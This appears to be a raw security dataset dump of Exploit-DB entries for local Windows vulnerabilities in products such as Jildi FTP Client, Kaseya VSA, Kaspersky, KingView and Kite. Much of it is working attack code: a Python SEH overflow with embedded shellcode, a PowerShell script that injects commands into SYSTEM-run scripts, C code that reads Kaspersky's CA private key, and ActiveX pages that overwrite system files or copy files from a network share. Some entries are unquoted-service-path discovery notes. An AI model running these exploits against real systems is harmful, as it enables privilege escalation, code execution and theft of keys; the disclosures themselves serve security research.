deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37197
Description: Jildi FTP Client 1.5.6 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-06-04
Author: Zahid Adeel

Exploit:
#!/usr/bin/python
#Author: Zahid Adeel
#Title: Jildi FTP Client 1.5.6 (SEH) BOF
#Version: 1.5.6 Build 1536
#Software Link: http://usfiles.brothersoft.com/internet/ftp/jildiftp.zip
#Tested on: WinXP Professional SP3
#Date: 2015-06-03

#EDB Ref.: https://www.exploit-db.com/exploits/37187/

#Open jildi-poc.txt file and copy its content on clipboard. Then run Jildi FTP client, click on Connect icon and paste this string in server text input #field. On successful exploitation, you will see calc.exe running on your system.

fname="jildi-poc.txt"

junk = "A" * 10096
n_seh = "\xeb\x06\x90\x90"
ppr = "\x56\x0B\x01\x1B" # PPR in msjet40.dll

#run your calc.exe
shellcode=("\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52"
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b"
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50"
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b"
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c"
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31"
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47"
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54"
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e"
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30"
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51"
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51"
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50"
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56"
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a"
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c"
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38"
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b"
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d"
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53"
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43"
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35"
"\x45\x50\x41\x41")

padding = "F" * (15000 - len(junk) -len(shellcode) - 8)
poc = junk + n_seh + ppr + shellcode + padding

fhandle = open(fname , 'wb')
fhandle.write(poc)
fhandle.close()
Exploit-DB #47549
Description: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-28
Author: Roberto Escamilla

Exploit:
# Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-09-09
# Exploit Author: Roberto Escamilla
# Vendor Homepage:https://www.inforprograma.net/
# Software Link: https://www.inforprograma.net/
# Version:  = 0.6.0.0 wpspin.exe
# Tested on: Windows 10 Home
# CVE : N/A

###############STEPS##########################

# 1.- Install the JumpStart application on Windows 10 Home Operating System
# 2.- Open our "System Symbol" application.
# 3.- Execute the command -------wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# 4.- The following will appear in a list: JumpStart Push-Button Service      jswpbapi     C:\Program Files (x86)\Jumpstart\jswpbapi.exe
# 5.- We proceed to verify the process using the command icacls, with which we verify the protection of the directory as shown below:

NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)

# 6.- Finally we verify using the command sc qc jswpbapi the protection of the service in which we observe that it is scalable in privileges 
# since the route contains spaces without being in quotes and is in CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO: 
# LocalSystem as it's shown in the following [SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: jswpbapi
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : JumpStart Push-Button Service
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #47341
Description: Kaseya VSA agent 9.5 - Privilege Escalation
Type: local
Platform: windows
Date: 2019-09-02
Author: NF

Exploit:
# Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation
# Google Dork: N/A
# Date: 2-09-2019
# Exploit Author: NF
# Vendor Homepage: https://www.kaseya.com/products/vsa/
# Software Link: https://www.kaseya.com/products/vsa/
# Version:  <= 9.5 agentmon.exe
# Tested on: Windows 10
# CVE : N/A


##Vulnerability##

This is not a new issue as such but more of the same in line with <a href="https://www.securityfocus.com/archive/1/541884/30/300/threaded">CVE-2017-12410</a> found by Filip Palian.
A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.
The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.

The Kaseya agent (agentmon.exe) runs as SYSTEM by default.
The agent also has a default working folder @ C:\kworking\
It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.
By default the *Authenticated Users* group has all rights to this folder.

Scripts are written to disk however they are not checked for integrity prior to execution.
So a folder can be monitored for script files being dropped and then append malicious code prior to execution.

##Proof of concept##

This PowerShell script will monitor the default working directory.
When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.
Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.

Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts

<--script start-->

      $folder = 'c:\kworking'
      $filter = '*.ps1'                          

      $filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter =  [IO.NotifyFilters]'FileName, LastWrite'}

      Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {
          $path = $Event.SourceEventArgs.FullPath
          "`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8
          Unregister-Event FileCreated
      }
 
<--script end-->

##Timeline##

16-06-2019 :: Issue found
18-06-2019 :: security@ emailed requesting steps to disclose  
30-06-2019 :: CERT contacted due to non response of vendor from official email address
31-06-2019 :: CERT still unable to contact vendor
07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor
20-08-2019 :: Vendor confirms receipt of details
27-08-2019 :: Email sent indicating intention to disclose due to lack of response
02-09-2019 :: No response through CERT. Findings published
Exploit-DB #32771
Description: Kaspersky (Multiple Products) - 'klim5.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-02-02
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/33561/info

Multiple Kaspersky products are prone to a local privilege-escalation vulnerability because the applications fail to perform adequate boundary checks on user-supplied data.

A local attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions in the following product groups:

Kaspersky AV 2008
Kaspersky AV for WorkStations 6.0 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32771.zip
Exploit-DB #40988
Description: Kaspersky 17.0.0 - Local CA Root Incorrectly Protected
Type: local
Platform: windows
Date: 2017-01-04
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989

When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing.

$ icacls KLSSL_privkey.pem
KLSSL_privkey.pem BUILTIN\Administrators:(I)(F)
                  BUILTIN\Users:(I)(RX) <-- All users should have read access
                  NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files
$ cat KLSSL_privkey.pem
cat: KLSSL_privkey.pem: Permission denied

Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask.

But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA.
*/

#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    HANDLE File;
    BYTE buf[2048] = {0};
    DWORD count;

    File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem",
            MAXIMUM_ALLOWED,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
    if (File != INVALID_HANDLE_VALUE) {
        if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) {
            setmode(1, O_BINARY);
            fwrite(buf, 1, count, stdout);
        }
        CloseHandle(File);
        return 0;
    }
    return 1;
}

/*
$ cl test.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

test.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:test.exe
test.obj
$ ./test.exe | openssl rsa -inform DER -text -noout
Private-Key: (2048 bit)
modulus:
    00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81:
    bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66:
    0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db:
    f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07:
*/
Exploit-DB #38287
Description: Kaspersky AntiVirus - ThinApp Parser Stack Buffer Overflow
Type: local
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=518

A remotely exploitable stack buffer overflow in ThinApp container parsing. Kaspersky Antivirus (I've tested version 15 and 16) and other products using the Kaspersky Engine (such as ZoneAlarm) are affected.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38287.zip
Exploit-DB #30192
Description: Kaspersky Internet Security 6.0 - SSDT Hooks Multiple Local Vulnerabilities
Type: local
Platform: windows
Date: 2007-06-15
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/24491/info

Kaspersky Internet Security 6 is prone to multiple local vulnerabilities.

Exploiting these vulnerabilities allows local attackers to crash affected computers, denying service to legitimate users. Attackers might also be able to gain elevated privileges by executing arbitrary machine code in the context of the kernel, but this has not been confirmed.

Kaspersky Internet Security 6.0.2.614 and 6.0.2.621 are vulnerable; other versions may also be affected.

NOTE: These issues may be related to BID 23326 (Kaspersky Internet Security Suite Klif.SYS Drive Local Heap Overflow Vulnerability), but this has not been confirmed. If we find that this BID is a duplicate, we will retire it and merge its information into BID 23326.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30192.zip
Exploit-DB #29374
Description: Kerio Personal Firewall 4.3 - 'IPHLPAPI.dll' Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-01-01
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/21828/info

Kerio Personal Firewall is prone to a local privilege-escalation vulnerability.

A local attacker could exploit this issue to execute arbitrary machine code with SYSTEM-level privileges. A successful exploit could result in the complete compromise of the affected computer.

Versions 4.3.246 and 4.3.268 are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29374.zip
Exploit-DB #51707
Description: Kingo ROOT 1.5.8 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-09-04
Author: Anish Feroz

Exploit:
#Exploit Title: Kingo ROOT 1.5.8 - Unquoted Service Path
#Date: 8/22/2023
#Exploit Author: Anish Feroz (ZEROXINN)
#Vendor Homepage: https://www.kingoapp.com/
#Software Link: https://www.kingoapp.com/android-root/download.htm
#Version: 1.5.8.3353
#Tested on: Windows 10 Pro

-------------Discovering Unquoted Path--------------

C:\Users\Anish>sc qc KingoSoftService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KingoSoftService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Usman\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : KingoSoftService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\Anish>systeminfo

Host Name:                 DESKTOP-UT7E7CF
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
Exploit-DB #28085
Description: KingView 6.53 - 'KChartXY' ActiveX File Creation / Overwrite
Type: local
Platform: windows
Date: 2013-09-04
Author: blake

Exploit:
<!--
KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite
Vendor: http://www.wellintech.com
Version: KingView 6.53 
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake

CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC
ProgId: KCHARTXYLib.KChartXY
Path: C:\Program Files\KingView\KChartXY.ocx
MemberName: SaveToFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented

Description: Proof of concept overwrites the win.ini file
-->
<html>
<object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object>
<script language='vbscript'>

arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini"

target.SaveToFile arg1 

</script>
Exploit-DB #28084
Description: KingView 6.53 - 'SuperGrid' Insecure ActiveX Control
Type: local
Platform: windows
Date: 2013-09-04
Author: blake

Exploit:
<html>
<object classid='clsid:F494550F-A028-4817-A7B5-E5F2DCB4A47E' id='target'></object>
<!--
KingView Insecure ActiveX Control - SuperGrid 
Vendor: http://www.wellintech.com
Version: KingView 6.53 
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake

CLSID: F494550F-A028-4817-A7B5-E5F2DCB4A47E
ProgId: SUPERGRIDLib.SuperGrid
Path: C:\Program Files\KingView\SuperGrid.ocx
MemberName: ReplaceDBFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented
-->
<title>KingView Insecure ActiveX Control Proof of Concept - SuperGrid.ocx</title>
<p>This proof of concept will copy any arbritrary file from one location to a second location. A malicious user may be able to use this to copy a file from an attacker controlled share to the target or from the target to an attacker controlled system (ie from an attacker share to the startup folder). It can also be used to overwrite existing files.</p>

<input type=button onclick="copyfile()" value="Do It!">
<script>
function copyfile()
{
	var file1 = "\\\\192.168.1.165\\share\\poc.txt"; 			//source
	var file2 = "c:\\WINDOWS\\poc.txt"; 					//destination
	result = target.ReplaceDBFile(file1,file2);
}

</script>
Exploit-DB #49205
Description: Kite 1.2020.1119.0 - 'KiteService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-07
Author: Ismael Nava

Exploit:
# Exploit Title: Kite 1.2020.1119.0 - 'KiteService' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 05-12-2020
# Vendor Homepage: https://www.kite.com/
# Software Links : https://www.kite.com/download/
# Tested Version: 1.2020.1119.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
KiteService	KiteService	C:\Program Files\Kite\KiteService.exe	Auto


C:\>sc qc "KiteService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: KiteService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : KiteService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50975
Description: Kite 1.2021.610.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-07-21
Author: Ghaleb Al-otaibi

Exploit:
# Exploit Title: Kite 1.2021.610.0 - Unquoted Service Path
# Date: 2020-11-6
# Exploit Author: Ghaleb Al-otaibi
# Vendor Homepage: https://www.kite.com/
# Version: Version 4.2.0.1 U1
# Tested on: Microsoft Windows 10 Pro - 10.0.19044 N/A Build 19044
# CVE : NA

# Service info:
C:\Windows\system32\cmd.exe>sc qc KiteService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KiteService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Kite\KiteService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : KiteService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49047
Description: KiteService 1.2020.1113.1 - 'KiteService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-16
Author: IRVIN GIL

Exploit:
# Exploit Title: KiteService 1.2020.1113.1 - 'KiteService.exe' Unquoted Service Path
# Discovery by: IRVIN GIL
# Discovery Date: 2020-11-14
# Vendor Homepage:  https://www.kite.com/
# Tested Version: 1.2020.1113.1
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

KiteService       KiteService          C:\Program Files\Kite\KiteService.exe           Auto

# Service info:

C:\>sc qc "KiteService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: KiteService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : KiteService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #48625
Description: KiteService 1.2020.618.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2020-06-26
Author: Marcos Antonio León

Exploit:
# Exploit Title: KiteService 1.2020.618.0 - Unquoted Service Path
# Discovery by: PoisonSk
# Discovery Date: 2020-06-23
# Vendor Homepage: https://www.kite.com/
# Software Link : https://www.kite.com/download/
# Tested Version: 1.2020.618.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Home Single 10.0.18363 N/D Compilación 18363



# Steps to discover unquoted Service Path: 

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i "program " | findstr /i /v """
KiteService	KiteService	C:\Program Files\Kite\KiteService.exe	Auto




C:\Users>sc qc KiteService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: KiteService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : KiteService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem



# Exploit:
#A successful attempt would require the local attacker must insert an executable file in the path of the service. 
#Upon service restart or system reboot, the malicious code will be run with elevated privileges.